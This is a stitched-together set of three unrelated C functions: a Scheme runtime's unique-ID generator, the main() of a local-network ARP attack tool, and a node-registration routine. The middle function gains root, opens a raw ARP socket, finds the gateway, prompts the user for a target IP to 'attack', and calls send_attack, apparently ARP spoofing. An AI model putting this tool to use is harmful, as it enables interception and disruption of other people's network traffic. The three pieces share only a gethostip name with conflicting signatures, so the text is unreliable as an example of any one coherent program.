ptr S_unique_id() { struct timeval tp; time_t sec; pid_t pid; INT ip; (void) gettimeofday(&tp,NULL); pid = getpid(); ip = gethostip(); sec = tp.tv_sec; return S_add(S_ash(Sunsigned(pid), Sinteger(8*(sizeof(sec)+sizeof(ip)))), S_add(S_ash(Sunsigned(ip), Sinteger(8*(sizeof(sec)))), Sunsigned(sec))); }
int main(int c, char **v) { int sfd, ret, ifindex, i = 1; char ipsrc[16], ipdst[16], iptmp[16]; char device[12], src_mac[ETH_ALEN]; struct in_addr src, gatWay, traget; struct sockaddr_ll from; send_arping_t rbuf, gatWaybuf; setuid(0); sfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ARP)); if (sfd == -1){ perror("socket:"); return 1; } gethostip(sfd, device, &ifindex, ipsrc, sizeof(ipsrc)); inet_pton(AF_INET, ipsrc, &src.s_addr); gethostmac(sfd, device, src_mac); init_sfd(sfd, ifindex); packed_for_ip(ipsrc, iptmp); sprintf(ipdst, "%s%d", iptmp, i); inet_pton(AF_INET, ipdst, &gatWay.s_addr); while (1){ send_pack(sfd, src_mac, ifindex, &src, &gatWay); if (recv_pack(sfd, &gatWay, &gatWaybuf)) continue; else break; } while (1){ printf("which one you want to attacked: "); fflush(stdout); //printf("ipdst:%s ipsrc:%s\n", ipdst, ipsrc); ret = read(0, iptmp, sizeof(iptmp)); iptmp[ret - 1] = '\0'; inet_pton(AF_INET, iptmp, &traget.s_addr); break; } send_attack(sfd, ifindex, &traget, &gatWaybuf); return 0; }
void set_node(const char *name, const char *addr, int port) { static nodeid_t nid = 0; nid++; char *ip = gethostip(addr); set_nid_sender(nid, ip, port); set_gid_nid(1, nid); node_info_t ninfo; ninfo.nid = nid; ninfo.port = port; SAFE_ASSERT(strlen(name) + 1 < 100); SAFE_ASSERT(strlen(ip) + 1 < 100); strcpy(ninfo.name, name); strcpy(ninfo.ip, ip); mpr_hash_set(ht_node_info_, name, strlen(name) + 1, &ninfo, sizeof(node_info_t)); *(nodeid_t *)apr_array_push(arr_nodes_) = nid; LOG_INFO("node added. name:%s, id:%" PRIu64", addr: %s, port: %d", name, nid, addr, port); free(ip); }